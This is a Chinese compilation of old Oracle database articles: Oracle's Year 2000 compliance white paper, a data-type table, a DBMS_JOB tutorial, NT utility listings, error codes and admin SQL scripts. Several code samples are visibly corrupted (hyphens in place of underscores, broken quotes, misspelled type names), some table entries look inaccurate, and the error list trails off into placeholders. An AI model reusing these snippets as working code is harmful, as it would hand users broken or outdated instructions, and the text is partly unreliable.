 所有文章均来自www.oradb.net,整理时间：2004/6/9,整理人：hnxyy(虚空)


ORACLE 2000年问题白皮书

1. 导言

解决2000年兼容性问题，需要在日期的数据类型处理方面满足下列五个主要因素：

1． 正确处理2000年1月1日以前、当天及之后的日期信息、接收日期输入、提供日期输出、进行日期或日期子项的计算。

2． 随着新世纪的到来，采用正确的配置，以保证正常执行2000年1月1日以前、当天及之后的文件。

3． 在适当之处，以公开确定的方式解决世纪取值的含糊问题，以作为对两位数字日期输入的响应。

4． 以明确指出世纪的方式进行日期信息的存储和输出。

5． 根据quad-centennial原则来处理2000年将要出现的闰年。

这些标准是由英国标准协会在《DISC PD-2000-1A，2000年兼容性要求的定义》中所制订的2000年兼容性要求的精华所在。

2. 产品兼容性

Oracle现有产品的设计都解决了2000年兼容性问题。

与现有Oracle数据库相关的软件产品在2000年日期改变兼容性方面的说明请参考下列表格和注解。为方便客户，这里还提供了与仍被大量机构使用的定型产品相对应的2000年兼容信息。根据它们到期程度不同，其中一部分产品未解决2000年兼容问题或只是部分解决了这一问题。

表格与注解分为两大部分：现有产品和定型产品。

现有产品：目前属于Oraclemetals支持产品系列的产品。根据兼容性级别，我们对每种产品/产品集进行了说明。此类型产品主要为“完全兼容”产品。

定型产品：己发布了非支持声明的产品和/或属于“延长辅助支持”类型的产品。

根据兼容性级别，我们对每种产品/产品集进行了说明。对于到期产品来说，主要是给出有关如何简化代码更改和绕过问题的建议。我们希望使用这些定型产品的用户及早考虑升级为Oraclemetals支持产品，以便减少日期据转换的工作量，并获得最优支持。

2.1兼容性水平

兼容性级别 说明

完全兼容 产品的现有生产版本完全符合第一部分描述的五个因素

部分兼容（1） 产品的现有生产版本不完全符合第一部分描述的五个因素，但Oracle将在产品今后的版本中提供完全兼容性。

部分兼容（2） 此定型产品的现有生产版本不完全符合第一部分描述的五个因素，且Oracle没有计划在将来改进其兼容性。

不兼容 此产品的现有生产版本不符合第一部分描述的五个因素，且Oracle今后不再改变其兼容性。

3. 各种产品兼容性信息列表：

略。详细内容请到ORACLE公司 网站http://www.oracle.com/year2000/上查询。

3.6现有产品注解

3.6.1不进行数据操作的产品

这些产品不进行数据操作，因此它们本质上就是2000年兼容的。

3.6.2 Orac1e服务器

Oracle服务器是2000年兼容的。

使用Oracle RDBMS（Oracle7和Oracle8服务器）并采用DATE

数据类型（用于日期和/或带时间值的日期)的应用，在2000年到来

之际无需为其存储的数据担心。Oracle7和Oracle8服务器DATE数据

类型以四位数字年份和包括以秒数计时（一般为

‘YYYY:MM:DD:HH24:MI:SS’）的精确程度来存储日期及时间数据。

Oracle服务器、网络产品及系统管理产品不会出现任何操作问

题。 Oracle的开发部门已对各种2000年操作情况进行了测试以确保

用户在世纪更替之际不会受到任何影响。测试的内容包括复制、时间

点的恢复、分布式事务等。系统管理和网络化特性通过时区/日期行/

世纪来完成。

Oracle RDBMS已采用四位数字年份来存储日期（‘OraDate’格式），

这样使用DATA数据类型的用户就不会有任何应用级方面的问题。为

了方便使用两位数字年份格式的应用解决2000年兼容性问题，Oracle7

和Oracle8提供了一种特殊的年份格式表征码‘RR’。采用‘RR’格

式输入的两位数字年份将做如下转换：

当前年份：最后两位数字指定的两位数字年份‘RR’年份格式返

回

0-49 0-49 当前世纪

50-99 0-49 下一世纪

0-49 50-99 上一世纪

50-99 50-99 当前世纪

因此，无论在哪一世纪输入数据，‘RR’格式都会确保数据库中

所存年份如下所示：

如果当前年份在后半世纪（50-99）

? 且输入的两位数字年份在‘00’和‘49’之间：将按下一世纪

的年份存储。例如，1996年输入的‘02’将存为‘2002’

? 且输入的两位数字年份在‘50’和‘99’之间：将按本世纪年

份存储。例如，1996年输入的‘97’将存为‘1997’。

如果当前年份在前半世纪（00-49）

? 且输入的两位数字年份在“00’和‘49’之间：将按本世纪年

份存储。例如，2001年输入的‘02’将存为‘2002’

? 且输入的两位数字年份在‘50’和‘99’之间：将按下一世纪

的年份存储。例如2001年输入的‘97’将存为‘1997’

‘RR’日期格式可用于数据库中DATE数据的插入及更新。因为

0rac1e一直以四位数字的格式存储日期的YEAR部分，故您无需对己

存储于数据库中的数据进行检索/查询。

3.6.2.1以字符数据类型存储的日期

‘RR’数据格式只对使用Oracle DATE数据类型的用户应用起作

用。对于那些使用CHAR或VARCHAR2数据类型的字符串的应用，除非

在设计时已有考虑，否则就须对应用作出修改、加入例行程序以确保

这样的数据在受到世纪更替的影响时可得到正确的处理。对于新建应

用或正进行修改以使按字符串存储的日期数据可满足2000年兼容的

应用，我们建议将这些日期转换为Oracle DATE数据类型，这样就确

保了它们的2000年兼容性，如果此方法不可行，那就以语言及格式

相独立且能处理全部年份的规范形式存储数据。‘YYYY/MM/DD’，在必

要时加上时间元素‘HH24:MI:SS’这一格式即是一例。每当显示或从

用户及其它程序中接收到以此形式存储的日期时，必须将其转换为正

确的外部格式。

格式‘YYYY/MM/DD HH24:MI:SS’有如下优势：

? 语言独立，即月份为数字形式

? 年份为四位数字，明确了世纪取值

? 时间得到了全部表示，最重要的元素在前，这样基于字符进行

的排序操作即可对日期进行正确的排序

它的缺点之一是不支持公元前日期。

3.6.4 Oracle Server Manager

Oracle Server Manager显示的Oracle服务器信息可经由内部发

出的SQL查询从RDBMS中获得。因此它完全继承了RDBMS的兼容性。

3.6.5 Oracle ODBC 驱动程序

Oracle ODBC驱动程序使用ODBC日期和时间数据类型，它们都包

括四位数字的年份元素。

3.6.6 Oracle Enterprise Manager

Oracle Enterprise Manager显示的Oracle服务器信息可经由内

部发出的SQL查询从RDBMS中获得。因此它完全继承了RDBMS的兼容

性。

3.6.7 Oracle Precompiler

Oracle Precompiler产品是2000年兼容的。

Oracle Precompiler产品不含有对操作日期型数据的预定义例行

程序，所有这样的操作都由开发商以3GL代码形式提供，并调用至服

务器上的PL/SQL引擎。因此2000年兼容性的解决取决于开发商正确

设计与编写应用代码。

3.6.8 Oracle OLAP Server产品

Express Server和Personal Express是2000年兼容的。处理时

间大小和‘日期’数据类型的内部机制是基于从一个固定基础日期算

起的秒数决定的。2000年在此并无特殊意义，它会得到与其它数据一

样的处理。所有日期的输入、存储、计算或显示日期的功能都与2000

年前的操作一致。

第二个考虑因素是对于格式为两位数字的年份的处理，如用“97”

代表“1997”。在缺省情况下，两位数字的年份被解释为在1950到2049

年之间，这除非通过选项YRABSTART特别指定才会有所改变。于是在

缺省值时“00”即被解释为2000年。

考虑到除了不能被400整除的世纪元年(如1900年）之外，每4

年是一个闰年。Express将2000年作为闰年对待。我们可作一项简单

的测试，对2000年2月之内的日期使用ENDOF（month）函数结果为

29FEB2000，验证了2000年确实已被作为闰年处理。

Express有一种可以转换为日、月份及年份的“日期”数据类型。

它可以处理从1899年12月31日到大约400,000年间的日期。这是

日期数据在数据库中的基本存储方式。

Express还有一个向Express程序返回日期-时间“邮戳”的函数。

此时间邮戳常常用于跟踪事件发生顺序的应用。此邮戳的返回值为一

个31位整数，代表着从PC采用此规定起的那一刻（1950年）以来的

秒数。它将于2036年溢出。但所有使用此邮戳的Express应用都可

将它转换为可处理任意4位数字年份的文本（例如到9999）。我们在

将来的产品版本中将改变日期-时间邮戳函数，使之返回一个较大的

十进制数。这一数值可处理超过4000年的年份，且因为存储它的文

本数据已经可以处理任何4位数字的年份，故它不需要作任何变动。

显然，我们可在2036年年底之前的任何时候完成这项改动，当然在

方便的情况下我们会及早行动。

3.6.9 Oracle RDB

Oracle RDB是2000年兼容的。

使用Oracle RDB并采用DATE或TIMESTAMP数据类型的应用无须

在2000年到达之际为其存储的数据而担心。Oracle RDB存储含有全

部年份和世纪的DATE（SQL92兼容且为VMS风格）和TIMESTAMP型数

据，自从1984年此产品第一版问世起就一直如此。

Oracle RDB实现了SQL92 SQL标准中规定的大多数日期/时间功

能。用这些数据类型所作的日期比较自然就可以不受世纪更换的影

响。事实上RDB数据库中可存储及操作的最大年份为9999年。

3.6.10 Developer/2000客户/服务器开发工具

Developer/2000客户/服务器开发工具集是2000年兼容的。

Text选项Item和Display Item有两个可以使用的特殊格式表征

码‘RR’和‘RRRR’。这些格式表征码采用上文描述的‘RR’日期格

式表示码所用的规则。

“RRRR”格式表征码允许将两位数字年份输入到四位数字域中，

并根据上文中‘RR’日期格式表征码中的规则将其赋予正确的世纪值。

Developer/2000的报告模块——Oracle Report和Oracle Graphic

不会受到世纪更替的影响，这是因为它们主要是从以四位数字形式存

储年份的数据库中检索数据。而这些产品中所有允许在

数据库中进行数据操作的部分都是2000年兼容的。

Web Cartridge（适用于Developer/2000 1.4w版的应用服务器）

是2000年兼容的。

3.6.11 Discoverer/2000客户/服务器报告工具

Discoverer/2000客户/服务器报告工具集是2000年兼容的。

Oracle Data Query和Oracle Data Browser都为带两位数字年

份的日期数据提供了包括‘RR’年份格式表征码在内的完全兼容性。

当使用‘RR’格式表征码时。在用来对数据库进行插入或删除操作处，

都将加入相应的世纪值。

3.6.12 Oracle OLAP开发及分析工具

Express Analyzer中所有与日期相关的功能都依靠Personal

Express和Express Server来完成。因此根据提供的指令使用现有生

产版本的Express Ana1yzer时，它是2000年兼容的。

Oracle Sales Analyzer 1.5版是2000年兼容的，从1.5版起，

日期就以四位数字的格式存储。

Oracle Sales Analyzer 1.5版将自动更新早先版本数据库，使

之采用四位数字日期格式。数据库中所有现存的日期值和所有用户定

义的对象(如报告、图象、用户测量值、用户集合和保存的选项等）

将自动更新为1.5版格式，并可在2000年使用。包括跨越1999年和

2000年在内的带有日期的计算都将得到正确处理。1.5版的更新和对

2000年的处理不需要DBA或最终用户的介入。

1.5版前的版本到1999年12月31日就不能再继续使用了。如果

在2000年1月1日或以后使用Oracle Sales Analyzer1.3版，则在

数据库启动时Catalog integration process期间将会发生错误。

Oracle Financial Analyzer版本（当前版本--4.8.01）是2000

年兼容的。

Oracle Financial Controller（当前版本1.0）是2000年兼容

的。

EIS和Oracle Express Analyzer(1.0版）包括下列2000年兼容

产品：

? EIS DOS 4.5A

? EIS Windows 4.8

? EIS Windows 4.5A

? Oracle Express Analyzer 1.0

但是，在安装过程中当前版本会检查各DOS文件日期，它不会认

为‘9x’要早于‘00’，这是MS-DOS在文件日期方面的限制。因此万

一您在进入2000年后的某一天安装其中的一个版本，安装时可能会

暂时将系统时间设置回二十世纪。

Oracle Express的基本技术是2000年兼容的。

Oracle Express Objects从2.0版起均为2000年兼容产品。

3.6.13带有限日历的产品

在2036年前运作并提供完全兼容性。

3.6.14 Oracle Power Objects

Oracle Power Objects是2000年兼容的。在使用两位数字年份

的日期数据之处，正确的世纪值的计算是根据本机操作系统、即

Microsoft Windows中的算法进行的。例如对Windows95来说，其算

法与Oracle使用‘RR’年份格式的方法类似，不同点只是它采用在

‘现在时间’基础上加减50年的方法，而不是Oracle算法中的2000

年而已。

3.6.15 Designer/2000和CASE产品

若生成的目标产品支持2000年兼容性，Designer/2000也提供对

2000年兼容性的全面支持。例如，生成Developer/2000模块时，可

通过‘RR’日期格式表征码实现对2000年问题的完全兼容，而生成

Visual Basic或C＋＋模块时，兼容性必须由应用开发商/程序员提

供。其中提供此兼容性的最为直接的方法就是使用四位数字的年份字

段。

Designer/2000使用的与基表中与审计列相关的日期库触发器来

维护。因此数据库会处理这一问题。Designer/2000只显示日期信息。

所有日期的显示形式由一个‘.ini’文件变量（M.S Windows 3.1）

或一个注册变量（M.S Windows NT/95）来决定，缺省值为DD Month

YYYY。当然用户也可以对它进行修改。

并且，过程模型创建者（process modeler）会对日期进行若干

运算以支持其关键路径分析功能。这些计算是用M.S.Windows数据类

型结构来完成的。这样2000年的日期改变不会产生任何问题。

3.6.16产品和平台技术

MVS--1996年年底之前IBM将修改几处小问题；

Open Gateway--只要目标数据库用四位数字的年份来存储日期，

Open Gateway系列产品就能正确处理2000年问题。与Oracle7服务

器和Oracle8服务器类似，此产品中也可针对非Oracle数据来使用RR

日期格式，这样就方便了使用两位数字年份的应用对2000年兼容性

的支持。除非日期在非Oracle数据库中在INETGER或CHARACTER字

段中存储（这是应用设计问题），否则Open Gateway不会出现应用级

的问题。

Open Gateway手册正在进行更新，为每个它支持的目标数据库添

加解决2000年问题的考虑因素。

适用于DB2的Oracle Transparent Gateway——安装手册及用户

指南提供了针对21世纪日期输入所需要的SQL语句编码指令。该手

册对21世纪的日期提供了专门指导。

DB2 Gateway手册中指出：NLS-DATE-FORMAT甚至可以在未安装DB2

Local Date Exit的情况下使用，这是因为DB2可自动接受这些格式。

DB2格式 表征码/模式 范例

ISO/JIS Yyyy-mm-dd l996-12-31

USA mm/dd/yyyy 12/31/1996

EUR dd.mm.yyyy 31.12.1996

我们建议客产不要安装DB2 Local Date Exit，并将上面所列三

种日期格式中的一种作为他们的Oracle缺省日期格式。这样客户就

总是必须提供四位数字的年份，于是就避免了混淆或意义含糊。

如果指定了适当的NLS – DATE - FORMAT且没有使用DB2 Local

Date Exit，适用于IBM DRDA的Oracle Transparent Gateway可对2000

年完全兼容。

VM-VM/ESA2.2.0版引人了对2000年兼容性的支持。详细信息可

参见1BM网页：http//vmdev.gpl.ibm.com/year200O/。

3.6.17 SQL *Plus

使用ACCEPT命令创建的DATE变量按字符串存储。这些变量可用

DEFINE命令查看。SQL *plus程序开发商应确保所存储的字符串不会

与四位数字年份格式既‘DD-MON-YY’相混淆。

4.产品兼容性——定型产品

这一部分提供了有关定型产品的信息。

此处提及的产品都是此时正被某些客户使用且不受Oraclemetals

支持或应从那一类型中删除的产品。

表4.1——定型产品

产品或打包产品 | 兼容性版本 | 产品/打包产品 | 参见注解
SQL*Forms Version3.0& SQL*Menu Version5.0& |  | 不兼容 不兼容 | 4.2.1
SQL*Forms Version2.0/2.3 SQL*Report Version Writer1.1 SQL*Report Version1.0 (RPT) |  | 不兼容 不兼容 不兼容 | 4.2.2 4.2.3 4.2.4
Oracle Forms Version4.0 OracleＲeports2.0&Oracli Graphics2.0(CDE1) |  | 不兼容 | 4.2.10
Oracle RDBNMS Version6 |  | 部分兼容（2） | 4.2.5
Oracle Data Version3.0 |  | 不兼容 | 4.2.6
Oracle Data Browser Version 1.0 |  | 完全兼容 | 4.2.7
Oracle CASE/Dictionary Version5.1 |  | 不兼容 | 4.2.8
Oracle Core Applications Version9 |  | 不兼容 | 4.2.9

4.2定型产品注解

4.2.1 SQL*Forms Version 3.0，SQL*Menu Version 5.0

这些产品无2000年兼容性。但可以通过使用四位数字年份日期

字段来达到较高水平的兼容性。如使用两位数字年份字段，那么为了

确保向数据库存储新数据或改变日期数据时能使用正确的世纪值，则

应使用触发器来调用使用用户编写的实现相应算法的存储过程或函数

来实现兼容性。

我们建议的工作方式如下：

在SQL*Forms 3.0中对DATE字段采取如下步骤：

1． 将日期类型改为DATETIME。

2． 使用格式表征码DD-MON-YY。

3． 创建一个On-Validate-Field触发器：（注意此代码对名为

hiredate的DATE字段重新格式化）。

DECLARE

tempdate CHAR(9)；

BEGIN

tempdate：＝TO-CHAR(：hiredate，‘DD-MON-YY)；

SELECT TO-DATE(tempdate，“DD-MON-RR’)

INTO：hiredate

FROM dual；

EXCEPTION

WHEN VALUE-ERROR THEN

MESSAGE(invalid format DD-MON-YY’)；

BELL；

RAISE FORM-TRIGGER-FAIL URE；

END；

Oracle Customer Support可提供技术资料，给出有关使用

‘RR’年份格式表征码的详细内容。

4.2.2 Oracle RDBMS第Version6

此产品是部分2000年兼容产品。而它之所以不能划分为完全兼

容产品的唯一原因是当使用两位数字年份日期时，它没有定出世纪缺

省值的程序解决方案（即Oracle RDBMS第6版中没有Oracle7 Server

和Oracle8 Server中采用的‘RR’算法）。

象Oracle7 Server和Oracle8 Server一样，Oracle RDBMS第6

版的DATE数据类型在存储日期和时间数据时可精确到四位数字年份

和秒级时间（一般为‘YYYY：MM：DD：HH24：MI：SS’)。

4.2.3 Oracle Forms4.0，Oracle Reports2.0和Oracle Graphics2.0

（CDE 1）

这些产品均不是2000年兼容产品。但它们可以达到较高水平的

兼容性-请参见4.2.1部分中关于SQL*Forms3.0版和SQL*Menu5.0版

的注解。


ORACLE的数据类型

常用的数据库字段类型如下：

字段类型 | 中文说明 | 限制条件 | 其它说明
CHAR | 固定长度字符串 | 最大长度2000 bytes |
VARCHAR2 | 可变长度的字符串 | 最大长度4000 bytes | 可做索引的最大长度749
NCHAR | 根据字符集而定的固定长度字符串 | 最大长度2000 bytes |
NVARCHAR2 | 根据字符集而定的可变长度字符串 | 最大长度4000 bytes |
DATE | 日期（日-月-年） | DD-MM-YY（HH-MI-SS） | 经过严格测试，无千虫问题
LONG | 超长字符串 | 最大长度 2G（231-1） | 足够存储大部头著作
RAW | 固定长度的二进制数据 | 最大长度2000 bytes | 可存放多媒体图象声音等
LONG RAW | 可变长度的二进制数据 | 最大长度 2G | 同上
BLOB | 二进制数据 | 最大长度 4G |
CLOB | 字符数据 | 最大长度 4G |
NCLOB | 根据字符集而定的字符数据 | 最大长度 4G |
BFILE | 存放在数据库外的二进制数据 | 最大长度 4G |
ROWID | 数据表中记录的唯一行号 | 10 bytes ********.****.****格式，*为0或1
NROWID | 二进制数据表中记录的唯一行号 | 最大长度4000 bytes
NUMBER(P,S) | 数字类型 | P为整数位，S为小数位
DECIMAL(P,S) | 数字类型 | P为整数位，S为小数位
INTEGER | 整数类型 | 小的整数
FLOAT | 浮点数类型 | NUMBER(38)，双精度
REAL | 实数类型 | NUMBER(63)，精度更高


Oracle技术网—DBMS_Job包的用法

【加入收藏】 【访客留言】 【聊天室】 【技术站点导航】 【技术论坛（BBS）】
位置：首页→Oracle特殊包→

【点击：】 摘录、改编
DBMS_Job包的用法

  • 包含以下子过程：

    • Broken()过程。

    • change()过程。

    • Interval()过程。

    • Isubmit()过程。

    • Next_Date()过程。

    • Remove()过程。

    • Run()过程。

    • Submit()过程。

    • User_Export()过程。

    • What()过程。

1、
Broken()过程更新一个已提交的工作的状态，典型地是用来把一个已破工作标记为未破工作。
这个过程有三个参数：job 、broken与next_date。

PROCEDURE Broken (job       IN binary_integer,
                  Broken    IN boolean,
                  next_date IN date :=SYSDATE)

job参数是工作号，它在问题中唯一标识工作。
broken参数指示此工作是否将标记为破——TRUE说明此工作将标记为破，而FLASE说明此工作将标记为未破。
next_date参数指示在什么时候此工作将再次运行。此参数缺省值为当前日期和时间。

2、
Change()过程用来改变指定工作的设置。
这个过程有四个参数：job、what 、next_date与interval。

PROCEDURE Change (job        IN binary_integer,
                  What       IN varchar2,
                  next_date  IN date,
                  interval   IN varchar2)

此job参数是一个整数值，它唯一标识此工作。
What参数是由此工作运行的一块PL/SQL代码块。
next_date参数指示何时此工作将被执行。
interval参数指示一个工作重执行的频度。

3、
Interval()过程用来显式地设置重执行一个工作之间的时间间隔数。
这个过程有两个参数：job与interval。

PROCEDURE Interval (job      IN binary_integer,
                    Interval IN varchar2)

job参数标识一个特定的工作。interval参数指示一个工作重执行的频度。

4、
ISubmit()过程用来用特定的工作号提交一个工作。
这个过程有五个参数：job、what、next_date、interval与no_parse。

PROCEDURE ISubmit (job       IN binary_ineger,
                   What      IN varchar2,
                   next_date IN date,
                   interval  IN varchar2,
                   no_parse  IN booean:=FALSE)

这个过程与Submit()过程的唯一区别在于此job参数作为IN型参数传递且包括一个
由开发者提供的工作号。如果提供的工作号已被使用，将产生一个错误。

5、
Next_Date()过程用来显式地设定一个工作的执行时间。这个过程接收两个参数：job与next_date。

PROCEDURE Next_Date(job         IN binary_ineger,
                    next_date   IN date)

job标识一个已存在的工作。next_date参数指示了此工作应被执行的日期与时间。

6、
Remove()过程来删除一个已计划运行的工作。这个过程接收一个参数：

PROCEDURE Remove(job IN  binary_ineger);

job参数唯一地标识一个工作。这个参数的值是由为此工作调用Submit()过程返回的job参数的值。
已正在运行的工作不能由调用过程序删除。

7、
Run()过程用来立即执行一个指定的工作。这个过程只接收一个参数：

PROCEDURE Run(job IN binary_ineger)

job参数标识将被立即执行的工作。

8、
使用Submit()过程，工作被正常地计划好。
这个过程有五个参数：job、what、next_date、interval与no_parse。

PROCEDURE Submit ( job       OUT binary_ineger,
                   What      IN  varchar2,
                   next_date IN  date,
                   interval  IN  varchar2,
                   no_parse  IN  booean:=FALSE)

job参数是由Submit()过程返回的binary_ineger。这个值用来唯一标识一个工作。
what参数是将被执行的PL/SQL代码块。
next_date参数指识何时将运行这个工作。
interval参数何时这个工作将被重执行。
no_parse参数指示此工作在提交时或执行时是否应进行语法分析——TRUE
指示此PL/SQL代码在它第一次执行时应进行语法分析，
而FALSE指示本PL/SQL代码应立即进行语法分析。

9、
User_Export()过程返回一个命令，此命令用来安排一个存在的工作以便此工作能重新提交。
此程序有两个参数：job与my_call。

PROCEDURE User_Export(job        IN binary_ineger,
                      my_call    IN OUT varchar2)

job参数标识一个安排了的工作。my_call参数包含在它的当前状态重新提交此工作所需要
的正文。

10、
What()过程应许在工作执行时重新设置此正在运行的命令。这个过程接收两个参数：job与what。

PROCEDURE What (job  IN binary_ineger,
                What IN OUT varchar2)

job参数标识一个存在的工作。what参数指示将被执行的新的PL/SQL代码。
  • 一个简单例子：

创建测试表
SQL> create table a(a date);

表已创建。

创建一个自定义过程
SQL> create or replace procedure test as
  2  begin
  3  insert into a values(sysdate);
  4  end;
  5  /

过程已创建。

创建JOB
SQL> variable job1 number;
SQL>
SQL> begin
  2  dbms_job.submit(:job1,'test;',sysdate,'sysdate+1/1440');　　--每天1440分钟，即一分钟运行test过程一次
  3  end;
  4  /

PL/SQL 过程已成功完成。

运行JOB
SQL> begin
  2  dbms_job.run(:job1);
  3  end;
  4  /

PL/SQL 过程已成功完成。

SQL> select to_char(a,'yyyy/mm/dd hh24:mi:ss') 时间 from a;

时间
-------------------
2001/01/07 23:51:21
2001/01/07 23:52:22
2001/01/07 23:53:24

删除JOB
SQL> begin
  2  dbms_job.remove(:job1);
  3  end;
  4  /

PL/SQL 过程已成功完成。
【最后更新：】


Oracle技术网—Oracle for NT系统实用工具介绍

位置：首页→其它知识...→

【点击：】 阿木伯 著
Oracle for NT系统实用工具介绍

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：E:\ORACLE
  • 工具介绍：

1、应用开发（Application Development）

SQL*Plus				E:\Oracle\Ora81\BIN\SQLPLUSW.EXE

2、数据库管理（Database Administration）

Database Configuration Assistant	数据库配置助手：创建、配置、删除数据库

DBA Studio				将多个数据库工具并入一个应用程序中。DBA Studio 管理以下对象：
                例  程：包括启动、关闭和例程化例程。
                方  案：包括表、索引和 Oracle8对象。
                安全性：包括用户帐户、角色和权限。
                存  储：包括表空间、数据文件和回退段。

SQLPlus Worksheet			类SQL*Plus的工具
                E:\Oracle\Ora81\bin\oemapp.bat worksheet

3、企业管理器（Enterprise Manager）

Configuration Assistant		Oracle Enterprise Manager配置辅助工具，对服务器资料档案库进行管理

Console				登录OEM管理器（Oracle Enterprise Manager）

4、移植工具（Migration Utilities）

Oracle Data Migration Assistant		移植Oracle7数据库，将Oracle8升级到Oracle8i

5、网络管理（Network Administration）

Net8 Assistant			配置网络部分（连接描述TNSNAMES.ORA、监听器LISTENER.ORA）

Net8 Configuration Assistant		功能基本同上，提供基本的配置，要获得高级配置操作，或配置此工具未包括
                的 Net8 的其它部分的详细信息，请使用Net8 Assistant

Oracle ODBC Test			连接、测试Oracle ODBC的工具

6、DOS窗口下实用程序

SVRMGRL				Oracle服务器管理：Oracle Server Manager
                E:\Oracle\Ora81\BIN\SVRMGRL.EXE

SQL*Plus				DOS窗口下使用的SQL*Plus
                E:\Oracle\Ora81\BIN\SQLPLUS.EXE

LSNRCTL				监听器管理程序
                E:\Oracle\Ora81\BIN\LSNRCTL.EXE

EXP/IMP				逻辑备份、恢复工具
                E:\Oracle\Ora81\BIN\EXP.EXE、E:\Oracle\Ora81\BIN\IMP.EXE

SQL*Loader				大量数据插入工具
                E:\Oracle\Ora81\BIN\SQLLDR.EXE

ORAPWD				修改sys或internal密码工具
                E:\Oracle\Ora81\BIN\ORAPWD.EXE

OCOPY				Oracle拷贝工具
                E:\Oracle\Ora81\BIN\OCOPY.EXE


Oracle技术网—Oracle常见错误代码

位置：首页→Oracle常见错误代码

  ORACLE新闻
  ORACLE初学者入门
  SQL技巧
  ORACLE图书
  ORACLE应用开发
  ORACLE软件下载
  ORACLE产品介绍
  ORACLE产品报价
  ORACLE工作
  认证、培训
  ORACLE系统移植
  网上ORACLE文章
  ORACLE 2000年问题
  ORACLE常见错误代码
  ORACLE常用数据字典
  ORACLE常用名词解释
  ORACLE常用Script
  ORACLE特殊包
  ORACLE相关站点
  相关技术站点
  相关技术资料
  相关开发工具
  免费资源TOP10
  精彩小游戏
  网友作品交流

    本站共有ORACLE数据库相关文章1000篇。
    本站有部分文章是取材于网上，如有侵犯您的版权，请即来信，我会尽快删除。
欢迎交流探讨

    建议使用 IE 或 NETSCAPE 4.0以上版本进行浏览。
最佳显示:800*600

↑返回顶部
Oracle常见错误代码

    以下表格中收集了Oracle中几乎所有的常见错误代码。

  • ORA-01650:unable to extend rollback segment NAME by NUM intablespace NAME
  • 产生原因：上述ORACLE错误为回滚段表空间不足引起的，这也是ORACLE数据管理员最常见的ORACLE错误信息。当用户在做一个非常庞大的数据操作导致现有回滚段的不足，使可分配用的回滚段表空间已满，无法再进行分配，就会出现上述的错误。
  • ORA-01652:unable to extend temp segment by num in tablespace name
  • 产生原因：ORACLE临时段表空间不足，因为ORACLE总是尽量分配连续空间，一但没有足够的可分配空间或者分配不连续就会出现上述的现象。
  • ORA-01628:max # of extents num reached for rollback segment num
  • 产生原因：这种错误通常为一个回滚段和一个表空间已经达到MAXEXTENTS参数设置的极限。要注意的是这个MAXEXTENTS不是该回滚段或表空间的硬件极限，硬件极限取决于数据库创建时在init.ora文件中指定的DB_BLOCK_SIZE参数的值。
  • ORA-01688:unable to extend table name.name partition NAME by NUM in tablespace NAME
  • 产生原因：指定的tablespace空间已经被占用满，无法扩展。
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
【更多...】


Oracle技术网—Oracle常用Script

位置：首页→Oracle常用Script

  ORACLE新闻
  ORACLE初学者入门
  SQL技巧
  ORACLE图书
  ORACLE应用开发
  ORACLE软件下载
  ORACLE产品介绍
  ORACLE产品报价
  ORACLE工作
  认证、培训
  ORACLE系统移植
  网上ORACLE文章
  ORACLE 2000年问题
  ORACLE常见错误代码
  ORACLE常用数据字典
  ORACLE常用名词解释
  ORACLE常用Script
  ORACLE特殊包
  ORACLE相关站点
  相关技术站点
  相关技术资料
  相关开发工具
  免费资源TOP10
  精彩小游戏
  网友作品交流

    本站共有ORACLE数据库相关文章1000篇。
    本站有部分文章是取材于网上，如有侵犯您的版权，请即来信，我会尽快删除。
欢迎交流探讨

    建议使用 IE 或 NETSCAPE 4.0以上版本进行浏览。
最佳显示:800*600

↑返回顶部

1、查看当前所有对象

SQL> select * from tab;

2、建一个和a表结构一样的空表

SQL> create table b as select * from a where 1=2;

SQL> create table b(b1,b2,b3) as select a1,a2,a3 from a where 1=2;

3、察看数据库的大小，和空间使用情况

SQL> col tablespace format a20
SQL> select b.file_id　　文件ID,
    b.tablespace_name　　表空间,
    b.file_name　　　　　物理文件名,
    b.bytes　　　　　　　总字节数,
    (b.bytes-sum(nvl(a.bytes,0)))　　　已使用,
    sum(nvl(a.bytes,0))　　　　　　　　剩余,
    sum(nvl(a.bytes,0))/(b.bytes)*100　剩余百分比
    from dba_free_space a,dba_data_files b
    where a.file_id=b.file_id
    group by b.tablespace_name,b.file_name,b.file_id,b.bytes
    order by b.tablespace_name
    /
    dba_free_space --表空间剩余空间状况
    dba_data_files --数据文件空间占用情况

4、查看现有回滚段及其状态

SQL> col segment format a30
SQL> SELECT SEGMENT_NAME,OWNER,TABLESPACE_NAME,SEGMENT_ID,FILE_ID,STATUS FROM DBA_ROLLBACK_SEGS;

5、查看数据文件放置的路径

SQL> col file_name format a50
SQL> select tablespace_name,file_id,bytes/1024/1024,file_name from dba_data_files order by file_id;

6、显示当前连接用户

SQL> show user

7、把SQL*Plus当计算器

SQL> select 100*20 from dual;

8、连接字符串

SQL> select 列1||列2 from 表1;
SQL> select concat(列1,列2) from 表1;

9、查询当前日期

SQL> select to_char(sysdate,'yyyy-mm-dd,hh24:mi:ss') from dual;

10、用户间复制数据

SQL> copy from user1 to user2 create table2 using select * from table1;

11、视图中不能使用order by，但可用group by代替来达到排序目的

SQL> create view a as select b1,b2 from b group by b1,b2;

12、通过授权的方式来创建用户

SQL> grant connect,resource to test identified by test;

SQL> conn test/test


Oracle技术网—Oracle常用数据字典

位置：首页→Oracle常用数据字典

  ORACLE新闻
  ORACLE初学者入门
  SQL技巧
  ORACLE图书
  ORACLE应用开发
  ORACLE软件下载
  ORACLE产品介绍
  ORACLE产品报价
  ORACLE工作
  认证、培训
  ORACLE系统移植
  网上ORACLE文章
  ORACLE 2000年问题
  ORACLE常见错误代码
  ORACLE常用数据字典
  ORACLE常用名词解释
  ORACLE常用Script
  ORACLE特殊包
  ORACLE相关站点
  相关技术站点
  相关技术资料
  相关开发工具
  免费资源TOP10
  精彩小游戏
  网友作品交流

    本站共有ORACLE数据库相关文章1000篇。
    本站有部分文章是取材于网上，如有侵犯您的版权，请即来信，我会尽快删除。
欢迎交流探讨

    建议使用 IE 或 NETSCAPE 4.0以上版本进行浏览。
最佳显示:800*600

↑返回顶部
说明

    以下表格中收集了Oracle数据字典中几乎所有的视图或别名，至于每个视图或别名的字段请用‘Describe’语句来查询。

    命名说明：

